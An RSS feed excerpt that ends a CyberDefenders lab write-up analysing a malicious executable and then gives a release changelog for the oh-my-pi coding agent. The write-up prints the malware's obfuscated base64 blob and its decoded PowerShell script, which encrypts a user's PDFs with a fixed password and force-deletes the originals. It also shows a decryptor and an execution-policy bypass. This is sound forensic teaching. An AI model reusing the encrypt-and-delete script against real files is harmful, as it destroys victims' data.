Research</em></li></ul><p>After reading this article, now we need to get <strong>“.hxd”</strong> file and try to analyze it using “<a href="https://mh-nexus.de/en/hxd/"><strong>HxD</strong></a>” tool.</p><p>finally found the silly “<strong>.hxd”</strong> file with pathC:\Users\&lt;username&gt;\AppData\Local\Packages\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\LocalState\hxStore.hxd</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/308/1*W0_YQ4FV9bi1ldbJS98YpA.png"></figure><p>And install that <strong>.hxd </strong>file “<strong>Export Files</strong>” and analyze it using “<strong>HxD</strong>”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/348/1*Nrd0MN0PoaQ83eC6R8GExw.png"></figure><p>open the downloaded file using “<strong>HxD</strong>” , finding the same header in blog</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/527/1*W9zTtcLl8hSGFe7df3Z8mg.png"></figure><p>So it’s about how to search for the ip addresses, try to make this filter:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/395/1*3_Lrhf51vj0GpTJgX10agA.png"><figcaption><strong>Click Search all</strong></figcaption></figure><p>check on “<strong>Search all</strong>” and take a look at all search hits:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/918/1*LyWLoUQ78AZIwTFsbBGEnQ.png"></figure><p>double click to the blue search hit, you can get the ip addresses easily:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/604/1*MdeN40yh10GvyK1ScCczSA.png"><figcaption><strong>IP addresses can be found in these offsets</strong></figcaption></figure><blockquote><strong>Answer4 → </strong><em>145.67.29.88, 212.33.10.112, 192.168.16.128</em></blockquote><p><strong>Q5: By examining the malicious executable, we found that it uses an obfuscated script to decrypt specific files.<br>What predefined password does the script use for encryption?</strong></p><p>At this stage we need to download the malicious file and try to run static malware analysis on the malicious file (be aware to use safe environment)</p><p>After downloading the malicious file, we need to run “<a href="https://download.sysinternals.com/files/Strings.zip"><strong>strings</strong></a><strong><em>” </em></strong>on the file and redirect all strings inside a text file using something like this command:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1016/1*fYbErd54Df3CYhsxyVuUNg.png"></figure><pre>.\strings.exe "D:\CYBERDEFENDERS\Silent_Breach\Downloads\IMF-Info.pdf.exe" &gt; file.txt</pre><p>open the output file on <a href="https://notepad-plus-plus.org/downloads/"><strong>Notepad++</strong></a><strong> </strong>for a better view, and try to see anything catchy. Found Nothing at all <strong>TBH </strong>:(</p><p>Now i got an idea to see the static analysis for the malicious file on <a href="https://www.virustotal.com/gui/home/upload"><strong>Virustotal</strong></a>, upload the file, and see the yara rules that matched</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SP15xUAMKE4Z7PBxOGCnlQ.png"></figure><p>Any of the <strong>High </strong>Crowd sourced Sigma Rules can lead you, just see the “<strong>View matches</strong>” tab and see the full command line executed:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/782/1*dff_W8p4jBGPSXFJyAR1Ng.png"></figure><p>this .ps1 file seems very malicious, so let’s take a look at the strings output file we exported using “<a href="https://download.sysinternals.com/files/Strings.zip"><strong>strings</strong></a><strong><em>” </em></strong>tool. search for the “<strong>Gz3m6mG3j2TyAqF2Zx4v.ps1</strong>” file in <a href="https://notepad-plus-plus.org/downloads/"><strong>Notepad++</strong></a></p><p>which is make sense, as he said in the question it is a <strong>script </strong>so, “<strong>Gz3m6mG3j2TyAqF2Zx4v.ps1</strong>"<strong> </strong>is a powershell script, so we could've searched for any <strong>.ps1</strong> script and we will get this powershell script also!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/371/1*tFg7jQ5igPSzXbsSX4OwJQ.png"></figure><p>Found only 1 search hit. And also found a malicious obfuscated code right below the “<strong>Gz3m6mG3j2TyAqF2Zx4v.ps1</strong>" file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6Pr0pNPHFp-d3G7ZdPfzug.png"></figure><p>So, using a simple python code to obfuscate that very loooong string starts with “<strong>K0QfK0QZjJ3bG1CIl</strong>”:</p><pre>import base64<br>obfuscated = """K0QfK0QZjJ3bG1CIlxWaGRXdw5WakASblRXStUmdv1WZSBCIgAiCNoQDpgSZz9GbD5SbhVmc0NFd19GJgACIgoQDpgSZz9GbD5SbhVmc0N1b0BXeyNGJgACIgoQDK0QKos2YvxmQsFmbpZEazVHbG5SbhVmc0N1b0BXeyNGJgACIgoQDpgGdn5WZM5yclRXeC5WahxGckACLwACLzVGd5JkbpFGbwRCKlRXaydlLtFWZyR3UvRHc5J3YkACIgAiCNoQDpUGdpJ3V6oTXlR2bN1WYlJHdT9GdwlncD5SeoBXYyd2b0BXeyNkL5RXayV3YlNlLtVGdzl3UbBCLy9Gdwlncj5WZkACLtFWZyR3U0V3bkgSbhVmc0N1b0BXeyNkL5hGchJ3ZvRHc5J3QukHdpJXdjV2Uu0WZ0NXeTBCdjVmai9UL3VmTg0DItFWZyR3UvRHc5J3YkACIgAiCNkSZ0FWZyNkO60VZk9WTlxWaG5yTJ5SblR3c5N1WgwSZslmR0VHc0V3bkgSbhVmc0NVZslmRu8USu0WZ0NXeTBCdjVmai9UL3VmTg0DItFWZyR3U0V3bkACIgAiCNoQDpUGbpZEd1BnbpRCKzVGd5JEbsFEZhVmU6oTXlxWaG5yTJ5SblR3c5N1Wg0DIzVGd5JkbpFGbwRCIgACIK0gCNkCKy9Gdwlncj5WRlRXYlJ3QuMXZhRCI9AicvRHc5J3YuVGJgACIgoQDK0wNTN0SQpjOdVGZv10ZulGZkFGUukHawFmcn9GdwlncD5Se0lmc1NWZT5SblR3c5N1Wg0DIn5WakRWYQ5yclFGJgACIgoQDDJ0Q6oTXlR2bNJXZoBXaD5SeoBXYyd2b0BXeyNkL5RXayV3YlNlLtVGdzl3UbBSPgUGZv1kLzVWYkACIgAiCNYXakASPgYVSuMXZhRCIgACIK0QeltGJg0DI5V2SuMXZhRCIgACIK0QKoUGdhVmcDpjOdNXZB5SeoBXYyd2b0BXeyNkL5RXayV3YlNlLtVGdzl3UbBSPgMXZhRCIgACIK0gCNcyYuVmLnACLnQiZkBnLcdCIlNWYsBXZy1CIlxWaGRXdw5WakASPgUGbpZEd1BHd19GJgACIgoQD7BSKzVGbpZEd1BnbpRCIulGIlxWaGRXdw5WakgCIoNWYlJ3bmpQDK0QKK0gImRGcu42bpN3cp1ULG1UScxFcvR3azVGRcxlbhhGdlxFXzJXZzVFXcpzQiACIgAiCNwiImRGcuQXZyNWZT1iRNlEXcB3b0t2clREXc5WYoRXZcx1cyV2cVxFX6MkIgACIgoQDoAEI9AyclxWaGRXdw5WakoQDzVGbpZGI0VHculGIm9GI0NXaMByIK0gCNkSZ6l2U2lGJoMXZ0lnQ0V2RuMXZ0lnQlZXayVGZkASPgYXakoQDpUmepNVeltGJoMXZ0lnQ0V2RuMXZ0lnQlZXayVGZkASPgkXZrRiCNkycu9Wa0FmclRXakACL0xWYzRCIsQmcvd3czFGckgyclRXeCVmdpJXZEhTO4IzYmJlL5hGchJ3ZvRHc5J3QukHdpJXdjV2Uu0WZ0NXeTBCdjVmai9UL3VmTg0DIzVGd5JUZ2lmclRGJK0gCNAiNxASPgUmepNldpRiCNACIgIzMg0DIlpXaTlXZrRiCNADMwATMg0DIz52bpRXYyVGdpRiCNkCOwgHMscDM4BDL2ADewwSNwgHMsQDM4BDLzADewwiMwgHMsEDM4BDKd11WlRXeCtFI9ACdsF2ckoQDiQyYlNVNyAjMj8mZuFiZtlkIg0DIkJ3b3N3chBHJ"""<br># Reverse it<br>reversed_base64 = obfuscated[::-1]<br># Decode from Base64<br>decoded = base64.b64decode(reversed_base64)<br># Try to print the result as UTF-8<br>try:<br>    print(decoded.decode('utf-8'))<br>except UnicodeDecodeError:<br>    print("[!] Could not decode fully. Might be binary or further obfuscated.")</pre><p>OR, using <a href="https://gchq.github.io/CyberChef/"><strong>cyberchef </strong></a>, by reading the obfuscated code, we can see that it reverse the long string and decode it with <strong>base64 </strong>decoder</p><p>do the same filter on <a href="https://gchq.github.io/CyberChef/"><strong>cyberchef</strong></a><strong> </strong>with the same order just like this, then add that very long string that starts with “<strong>K0QfK0QZjJ3bG1CIl</strong>”:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/570/1*-EojaCMd1HiRAcNA3oWANA.png"><figcaption><strong>Reverse the string then decode it From Base64</strong></figcaption></figure><pre># ====================================<br># Decoded Powershell script<br># ====================================<br> <br>$password = "Imf!nfo#2025Sec$"<br>$salt = [Byte[]](0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08)<br>$iterations = 10000<br>$keySize = 32   <br>$ivSize = 16 <br><br>$deriveBytes = New-Object System.Security.Cryptography.Rfc2898DeriveBytes($password, $salt, $iterations)<br>$key = $deriveBytes.GetBytes($keySize)<br>$iv = $deriveBytes.GetBytes($ivSize)<br><br># List of input files<br>$inputFiles = @(<br>    "C:\\Users\\ethan\\Desktop\\IMF-Secret.pdf",<br>    "C:\\Users\\ethan\\Desktop\\IMF-Mission.pdf"<br>)<br><br>foreach ($inputFile in $inputFiles) {<br>    $outputFile = $inputFile -replace '\.pdf$', '.enc'<br><br>    $aes = [System.Security.Cryptography.Aes]::Create()<br>    $aes.Key = $key<br>    $aes.IV = $iv<br>    $aes.Mode = [System.Security.Cryptography.CipherMode]::CBC<br>    $aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7<br><br>    $encryptor = $aes.CreateEncryptor()<br><br>    $plainBytes = [System.IO.File]::ReadAllBytes($inputFile)<br><br>    $outStream = New-Object System.IO.FileStream($outputFile, [System.IO.FileMode]::Create)<br>    $cryptoStream = New-Object System.Security.Cryptography.CryptoStream($outStream, $encryptor, [System.Security.Cryptography.CryptoStreamMode]::Write)<br><br>    $cryptoStream.Write($plainBytes, 0, $plainBytes.Length)<br>    $cryptoStream.FlushFinalBlock()<br><br>    $cryptoStream.Close()<br>    $outStream.Close()<br><br>    Remove-Item $inputFile -Force<br>}</pre><blockquote><strong><em>Answer5 → </em></strong><em>Imf!nfo#2025Sec$</em></blockquote><p><strong>Q6: After identifying how the script works, decrypt the files and submit the secret string.</strong></p><p>Now we need to decrypt encrypted file, these are the files on “<strong>/Desktop</strong>” :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/679/1*5IGW1cU3ux8H9weqvZLO6A.png"></figure><p>Dump these encrypted files that ends with “<strong>.enc</strong>” , and try to decrypt them.</p><p>With a little help from <strong>ChatGPT</strong>, we can make a <strong>powershell script </strong>to decrypt the dropped encrypted file:</p><pre># ====================================<br># AES Decryption Script for .enc Files<br># ====================================<br># --- Configuration ---<br>$password = "Imf!nfo#2025Sec$"<br>$salt = [Byte[]](0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08)<br>$iterations = 10000<br>$keySize = 32<br>$ivSize = 16<br><br># Derive Key and IV<br>$deriveBytes = New-Object System.Security.Cryptography.Rfc2898DeriveBytes($password, $salt, $iterations)<br>$key = $deriveBytes.GetBytes($keySize)<br>$iv = $deriveBytes.GetBytes($ivSize)<br><br># --- Input Files (Update these paths) ---<br>$inputFiles = @(<br>    "D:\CYBERDEFENDERS\Silent_Breach\IMF-Secret.enc",<br>    "D:\CYBERDEFENDERS\Silent_Breach\IMF-Mission.enc"<br>)<br><br>foreach ($encFile in $inputFiles) {<br>    if (-not (Test-Path $encFile)) {<br>        Write-Warning "File not found: $encFile"<br>        continue<br>    }<br>    # Generate output path: replace .enc with .decrypted.pdf<br>    $outputFile = $encFile -replace '\.enc$', '.decrypted.pdf'<br>    try {<br>        # Set up AES decryption<br>        $aes = [System.Security.Cryptography.Aes]::Create()<br>        $aes.Key = $key<br>        $aes.IV = $iv<br>        $aes.Mode = [System.Security.Cryptography.CipherMode]::CBC<br>        $aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7<br><br>        $decryptor = $aes.CreateDecryptor()<br><br>        # Read encrypted data<br>        $cipherBytes = [System.IO.File]::ReadAllBytes($encFile)<br><br>        # Create streams for decryption<br>        $inStream = [System.IO.MemoryStream]::new([byte[]] $cipherBytes)<br>        $cryptoStream = New-Object System.Security.Cryptography.CryptoStream($inStream, $decryptor, [System.Security.Cryptography.CryptoStreamMode]::Read)<br><br>        $buffer = New-Object byte[] $cipherBytes.Length<br>        $read = $cryptoStream.Read($buffer, 0, $buffer.Length)<br><br>        [System.IO.File]::WriteAllBytes($outputFile, $buffer[0..($read - 1)])<br><br>        $cryptoStream.Close()<br>        $inStream.Close()<br>        Write-Host "✅ Decrypted: $outputFile" -ForegroundColor Green<br>    }<br>    catch {<br>        Write-Error "❌ Failed to decrypt $encFile. Error: $_"<br>    }<br>}</pre><p>To run this script you can do the following :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/855/1*g8MZQ1X3GOGiT2c5qAci9g.png"></figure><pre>Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass<br># This command is to make your current PowerShell session run scripts freely.<br><br>./decrypt.ps1<br># to run the powershell script freely</pre><p>Finally, let's check the PDF files. Flag is hidden in the IMF-Mission.pdf file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/898/1*3v0ZWIIuGmblp5W0AKSUgQ.png"></figure><h3><strong>Thanks For Reading, You can Contact me via:</strong></h3><h4>LinkedIn : <a href="https://www.linkedin.com/in/loay-salah/">https://www.linkedin.com/in/loay-salah/</a></h4><h4>Discord : prankster99</h4><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=c766dc7a9acb" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/silent-breach-lab-writeup-cyberdefenders-c766dc7a9acb">Silent Breach Lab Writeup (CyberDefenders)</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[v15.12.4]]></title>
<description><![CDATA[@oh-my-pi/pi-agent-core
Fixed

Fixed remote compaction input trimming to use unlimited context when model.contextWindow is unset

@oh-my-pi/pi-ai
Added

Added GITLAB_CLIENT_ID and GITLAB_REDIRECT_URI env-var overrides for the GitLab Duo OAuth login flow so users running with their own GitLab OAut...]]></description>
<link>https://tsecurity.de/de/3595882/tools/v15124/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3595882/tools/v15124/</guid>
<pubDate>Sat, 13 Jun 2026 18:24:20 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>@oh-my-pi/pi-agent-core</h2>
<h3>Fixed</h3>
<ul>
<li>Fixed remote compaction input trimming to use unlimited context when <code>model.contextWindow</code> is unset</li>
</ul>
<h2>@oh-my-pi/pi-ai</h2>
<h3>Added</h3>
<ul>
<li>Added <code>GITLAB_CLIENT_ID</code> and <code>GITLAB_REDIRECT_URI</code> env-var overrides for the GitLab Duo OAuth login flow so users running with their own GitLab OAuth application can replace the bundled credentials when GitLab rejects the bundled <code>client_id</code>'s redirect URI. Setting <code>GITLAB_REDIRECT_URI</code> also disables the random-port fallback (strict OAuth providers reject mismatched URIs anyway). (<a href="https://github.com/can1357/oh-my-pi/issues/2424" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/2424/hovercard">#2424</a>)</li>
<li>Added <code>AuthStorage.listStoredCredentials()</code> and <code>AuthStorage.removeCredential()</code> for per-account credential management.</li>
</ul>
<h3>Changed</h3>
<ul>
<li>Replaced the OpenAI SDK client usage in <code>openai-completions</code>, <code>openai-responses</code>, <code>azure-openai-responses</code>, and <code>openai-codex-responses</code> with the new internal <code>postOpenAIStream</code> OpenAI-wire JSON/SSE transport</li>
</ul>
<h3>Fixed</h3>
<ul>
<li>Fixed streaming providers to cancel upstream model requests when the client closes the response body, so interrupted SSE sessions stop instead of continuing in the background</li>
<li>Fixed: provider request builders treat unknown <code>model.maxTokens</code> (<code>null</code>) as "no model cap" instead of coercing to <code>0</code> via <code>Math.min</code>; Anthropic falls back to the 64k Claude-Code cap for its required <code>max_tokens</code>.</li>
<li>Fixed transient stream failures on OpenAI-compatible providers by retrying HTTP 408/429/5xx responses and transient network errors with Retry-After/quota-hint aware backoff</li>
<li>Fixed SSE stream handling for OpenAI-compatible responses by parsing wire-level JSON frames directly and honoring <code>[DONE]</code> termination</li>
<li>Fixed stream error handling for OpenAI-compatible providers by preserving structured HTTP status/headers and response body details from failed requests for retry and strict-tool fallback logic</li>
<li>Fixed OpenAI-compat streams ending with a bare <code>finish_reason: "error"</code> (gateways like OpenRouter reporting upstream failures, e.g. Gemini <code>MALFORMED_FUNCTION_CALL</code>) surfacing as a non-retryable <code>Provider finish_reason: error</code>. The reason is now mapped to <code>Provider returned error finish_reason</code>, which the session retry classifier recognizes as transient, so the turn auto-retries instead of stopping with a pinned error banner.</li>
<li>Fixed <code>SqliteAuthCredentialStore.open()</code> crashing with <code>SQLITE_BUSY_RECOVERY</code> (errno 261) when several <code>omp --session</code> panes restore concurrently after an unclean shutdown: <code>PRAGMA busy_timeout = 5000</code> now runs as a standalone statement BEFORE <code>PRAGMA journal_mode=WAL</code> (the first lock-taking statement during WAL recovery), and <code>open()</code> retries the BUSY family — <code>SQLITE_BUSY</code>, <code>SQLITE_BUSY_RECOVERY</code>, <code>SQLITE_BUSY_SNAPSHOT</code>, <code>SQLITE_BUSY_TIMEOUT</code> — with bounded exponential backoff. The exhausted-retry error message includes the DB path. Exported <code>isSqliteBusyError(err)</code> for callers that need the same classifier (<a href="https://github.com/can1357/oh-my-pi/issues/2421" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/2421/hovercard">#2421</a>).</li>
<li>Fixed MiniMax-M3 OpenAI-compatible streams rendering reasoning twice when the same chunk carried both <code>&lt;think&gt;…&lt;/think&gt;</code> content and structured <code>reasoning_content</code>; structured reasoning now wins and cumulative MiniMax reasoning snapshots are collapsed to deltas. (<a href="https://github.com/can1357/oh-my-pi/issues/2433" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/2433/hovercard">#2433</a>)</li>
<li>Fixed Gemini turns silently halting the agent when the model returned <code>finishReason: STOP</code> with only an empty (or whitespace-only) text part and no tool call — the well-known "empty response" failure. All Google surfaces (public Generative Language <code>streamGoogle</code>, Vertex <code>streamGoogleVertex</code>, and Cloud Code Assist <code>google-gemini-cli</code>/<code>google-antigravity</code>) now classify such a turn as empty via the shared <code>hasMeaningfulGoogleContent</code> check and retry it up to <code>MAX_EMPTY_STREAM_RETRIES</code> times before surfacing an error. The Cloud Code Assist path previously had an empty-stream retry that never fired for this case (its <code>hasContent</code> flag counted an empty-string text part as content), and the public/Vertex path had no retry at all; the retry now emits a single <code>start</code> event so no duplicate partial message leaks downstream.</li>
</ul>
<h2>@oh-my-pi/pi-catalog</h2>
<h3>Added</h3>
<ul>
<li>Added bundled Fireworks models <code>deepseek-v4-flash</code>, <code>kimi-k2.7-code</code>, <code>minimax-m2.5</code>, <code>minimax-m3</code>, <code>nemotron-3-ultra-nvfp4</code>, <code>qwen3.6-plus</code>, and <code>qwen3.7-plus</code></li>
<li>Changed</li>
</ul>
<h3>Changed</h3>
<ul>
<li>Model <code>contextWindow</code>/<code>maxTokens</code> are now <code>number | null</code>; discovery emits <code>null</code> when a provider reports no limit, replacing the <code>222222</code>/<code>8888</code> (<code>UNK_CONTEXT_WINDOW</code>/<code>UNK_MAX_TOKENS</code>) sentinels (now removed). Bundled <code>models.json</code> unknown limits are <code>null</code>.</li>
<li>Changed the <code>github-copilot</code> model context window to <code>524288</code> tokens</li>
<li>Changed Fireworks model discovery to source the control-plane <code>List Models</code> API (<code>GET /v1/accounts/fireworks/models?filter=supports_serverless=true</code>) instead of the OpenAI-compatible <code>/v1/models</code> inference listing. The inference endpoint returns a sparse, account-specific subset that omits on-demand serverless models (e.g. <code>kimi-k2.7-code</code>), so newly published serverless models stayed invisible in the picker until hand-added to the bundled catalog. The control-plane catalog enumerates every serverless model with capability metadata (<code>supportsServerless</code>/<code>supportsTools</code>/<code>supportsImageInput</code>/<code>contextLength</code>/<code>displayName</code>), paginated and filtered to tool-capable <code>READY</code> entries, then merged with bundled/models.dev references — the Kimi K2 max-output clamp and DeepSeek V4 thinking-toggle strip are preserved, and unbundled models default to reasoning so <code>buildModel</code> derives the Fireworks effort map. New serverless releases now surface automatically with no catalog edits.</li>
</ul>
<h3>Fixed</h3>
<ul>
<li>Filled missing <code>contextWindow</code> and <code>maxTokens</code> in generated <code>models.json</code> for proxy/reseller variants by inheriting limits from canonical-family and segment-reference models</li>
<li>Ignored zero-cost <code>x-ai</code> subscription entries as reference sources when backfilling limits so inflated values are not propagated</li>
<li>Fixed the model cache opening with <code>PRAGMA journal_mode=WAL</code> before <code>PRAGMA busy_timeout</code>, so concurrent omp startups could crash inside <code>getDb()</code> on <code>SQLITE_BUSY</code> during WAL recovery instead of waiting through the transient lock. The busy handler is now installed before the first lock-taking statement (<a href="https://github.com/can1357/oh-my-pi/issues/2421" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/2421/hovercard">#2421</a>).</li>
</ul>
<h2>@oh-my-pi/pi-coding-agent</h2>
<h3>Breaking Changes</h3>
<ul>
<li>Removed the top-level <code>--list-models</code> flag path and migrated model listing to the new <code>omp models</code> command</li>
</ul>
<h3>Added</h3>
<ul>
<li>Added <code>omp models</code> command to list and manage models with <code>ls</code>, <code>find</code>, <code>canonical</code>, and <code>refresh</code> actions</li>
<li>Added <code>--json</code> output plus <code>-e/--extension</code>, <code>--no-extensions</code>, and <code>--config</code> controls to <code>omp models</code> listings</li>
<li>Added <code>skills.enableAgentsUser</code> and <code>skills.enableAgentsProject</code> settings (default on) so the canonical OMP-native <code>~/.agent[s]/skills</code> and project-walkup <code>.agent[s]/skills</code> are configurable independently from the third-party Claude/Codex/Pi toggles.</li>
</ul>
<h3>Changed</h3>
<ul>
<li>Model registry merge and <code>omp models</code> / model picker handle unknown context/output limits (<code>null</code>) — unknown limits render as <code>-</code> instead of a fake <code>222K</code>/<code>8.9K</code>.</li>
<li>Changed <code>omp models</code> to use cached provider data by default and require <code>omp models refresh</code> for a forced online re-fetch</li>
<li>Updated model-resolution errors to point to <code>omp models</code> when a provider or model is not found</li>
<li>Upgraded workspace catalog packages to their latest versions as of 3 days ago, and refactored the ACP agent implementation to be compatible with <code>@agentclientprotocol/sdk</code> version <code>0.25.0</code>.</li>
<li>Made the <code>zod</code> version requirement in the workspace catalog more tolerant (<code>^4.0.0</code> instead of <code>4.4.3</code>), and aligned type definitions in coding-agent extensibility modules.</li>
<li>Changed <code>/logout</code> to pick a stored account after the provider, so multi-account OAuth providers can remove one credential without logging out every account.</li>
<li>Changed the status-line context% to report the provider's real prompt-token count — anchored on the last assistant response, matching the <code>/context</code> panel and the collab host broadcast — instead of an independent cl100k estimate of the whole conversation. The estimate could read several points high and climb past 100% on subscription/Codex models (whose advertised window, e.g. <code>272K</code>, is already the input budget after reserving max output) while the request was still well within the real limit. Right after compaction the segment now shows <code>?</code> until the next response re-establishes the true count, and the redundant per-message estimate cache was dropped in favor of memoizing <code>getContextUsage()</code>.</li>
</ul>
<h3>Fixed</h3>
<ul>
<li>Fixed ACP thinking-delta mapping to tolerate live chunks that only carry delta text.</li>
<li>Fixed image input to Ollama (local <code>ollama</code>, <code>ollama-cloud</code>, and any <code>ollama-chat</code> model) failing with an opaque HTTP 400 when an attached image was encoded as WebP. Ollama decodes images through llama.cpp / <code>stb_image</code>, which is built without WebP support, so the resize pipeline now auto-excludes WebP for those models — the automatic equivalent of <code>OMP_NO_WEBP=1</code>, applied across every image path (<code>@file</code> mentions and prompt/paste/CLI attachments, the <code>read</code>/<code>inspect_image</code> tools, <code>eval</code> display images, <code>fetch</code>ed images, and browser screenshots). Other providers are unaffected and still honor <code>OMP_NO_WEBP</code>.</li>
<li>Fixed queued steering/follow-up display to derive from the agent-core queue, so queued chips clear when the core dequeues them and no longer strand after empty-Enter aborts.</li>
<li>Fixed model auth gateway probing to avoid skipping candidates with unknown <code>maxTokens</code> limits (<code>null</code>)</li>
<li>Fixed model listings so providers registered via extensions are now included from <code>-e</code> and configured <code>extensions</code> sources</li>
<li>Fixed <code>/mcp reauth</code>, <code>/mcp test</code>, and <code>/mcp unauth</code> to find and operate on MCP servers reported by <code>/mcp list</code> even when they are only runtime-discovered and not stored in writable config, including namespaced plugin servers like <code>cloudflare:cloudflare-api</code></li>
<li>Fixed MCP server name validation so colon-namespaced server IDs are accepted when persisting reauth overrides so namespaced OAuth MCP servers can be stored in user config as <code>server:subserver</code> entries</li>
<li>Retried assistant turns that stop with reasoning/thinking only and no final text or tool call, so Gemini/Antigravity thought-only <code>STOP</code> responses continue instead of silently ending the session.</li>
<li>Fixed <code>~/.agent[s]/skills</code> not appearing as <code>/skill:&lt;name&gt;</code> commands when every named source toggle (<code>skills.enableCodexUser</code>, <code>skills.enableClaudeUser</code>, <code>skills.enableClaudeProject</code>, <code>skills.enablePiUser</code>, <code>skills.enablePiProject</code>) was off: <code>loadSkills</code> gated the <code>agents</code> provider on <code>anyBuiltInSkillSourceEnabled</code>, so a user who turned off the Claude/Codex/Pi sources to clean noise also lost their own canonical OMP-native skills. The <code>agents</code> provider now reads the dedicated <code>enableAgentsUser</code>/<code>enableAgentsProject</code> toggles, decoupled from the third-party fall-through (<a href="https://github.com/can1357/oh-my-pi/issues/2401" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/2401/hovercard">#2401</a>).</li>
<li>Fixed Windows PowerShell image paste so Ctrl+V can fall back to the PowerShell clipboard bridge when the native clipboard reader reports no image (<a href="https://github.com/can1357/oh-my-pi/issues/2429" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/2429/hovercard">#2429</a>).</li>
<li>Fixed misaligned box borders in Mermaid ASCII rendering for CJK (Korean/Japanese/Chinese) and emoji labels — affects both fenced <code>mermaid</code> code blocks in assistant messages and the <code>render_mermaid</code> tool. <code>beautiful-mermaid@1.1.3</code> measures label width in UTF-16 code units while terminals render East Asian characters 2 columns wide; a <code>patchedDependencies</code> entry rebuilds its ASCII renderer to measure terminal display columns (grapheme-cluster aware, wcwidth-style policy). The patch mirrors the upstream PR (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4654741745" data-permission-text="Title is private" data-url="https://github.com/lukilabs/beautiful-mermaid/issues/128" data-hovercard-type="pull_request" data-hovercard-url="/lukilabs/beautiful-mermaid/pull/128/hovercard" href="https://github.com/lukilabs/beautiful-mermaid/pull/128">lukilabs/beautiful-mermaid#128</a>) and should be dropped once it ships in a release.</li>
<li>Fixed interrupt loader state getting stuck after queued-message aborts by removing the session-layer flush/latch path; empty Enter now aborts the active turn and lets the existing post-unwind queue drain resume normally.</li>
<li>Fixed <code>/goal &lt;objective&gt;</code> and <code>/goal set &lt;objective&gt;</code> during streaming so goal context is steered immediately but objective submission waits for the active turn to finish instead of spamming <code>AgentBusyError</code> (<a href="https://github.com/can1357/oh-my-pi/issues/2454" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/2454/hovercard">#2454</a>).</li>
<li>Fixed concurrent <code>omp --session</code> startups (e.g. cmux pane restore after an unclean shutdown) crashing with <code>SQLITE_BUSY_RECOVERY</code> while the agent SQLite databases were still under WAL recovery. The auth credential store and <code>AgentStorage.open()</code> retry the <code>SQLITE_BUSY</code> family with bounded backoff, and every shared SQLite open path (<code>AgentStorage</code>, history, autoresearch, memories, github cache, auto-QA grievances, catalog model cache, stats) now installs the busy handler before the first lock-taking statement so transient WAL recovery contention waits instead of crashing (<a href="https://github.com/can1357/oh-my-pi/issues/2421" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/2421/hovercard">#2421</a>).</li>
<li>Mnemopi <code>per-project</code> / <code>per-project-tagged</code> bank derivation is now stable for one cwd, ignoring the surrounding git layout. Previously the bank id was hashed from <code>git.repo.resolveSync(cwd)?.repoRoot ?? path.resolve(cwd)</code>, so adding or removing a <code>.git</code> anywhere above the working directory silently repointed the same conversation to a new bank and stranded its memories (e.g. <code>/home/x/projects/repo</code> flipping between <code>projects-…</code> and <code>repo-…</code>). The derivation in <code>packages/coding-agent/src/mnemopi/config.ts</code> now hashes <code>path.resolve(cwd)</code> directly, and session startup widens the recall set with any sibling bank under <code>&lt;dbDir&gt;/banks/</code> whose <code>working_memory</code> rows already carry the active cwd in <code>metadata_json.$.cwd</code>, so memories stranded by the old, less-stable derivation become visible again on the next session without manual migration (<a href="https://github.com/can1357/oh-my-pi/issues/2412" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/2412/hovercard">#2412</a>).</li>
<li>Fixed model switching (Ctrl+P role cycling and the alt+p / <code>/switch</code> / <code>/models</code> selector) intermittently freezing the UI for several seconds. <code>AgentSession.setModel</code>/<code>setModelTemporary</code> ran an eager <code>await modelRegistry.getApiKey(model)</code> purely as an existence pre-flight and discarded the value — but <code>getApiKey</code> does real work: it synchronously executes command-backed key programs (<code>apiKey: "!cmd"</code>, <code>execSync</code> with a 10s timeout, blocking the event loop) and refreshes OAuth tokens over the network when one crosses the expiry window (the "fine for a few switches, then a multi-second stall" symptom). Switching now uses the synchronous, side-effect-free <code>ModelRegistry.hasConfiguredAuth</code> check; the concrete key (command execution + OAuth refresh) is still resolved lazily per request via the existing resolver, so an unconfigured provider still fails fast with <code>No API key</code> while a healthy switch never touches the network or spawns a subprocess. <code>hasConfiguredAuth</code> no longer runs the command program or refreshes tokens either, matching its documented "probe without resolving an API key" contract.</li>
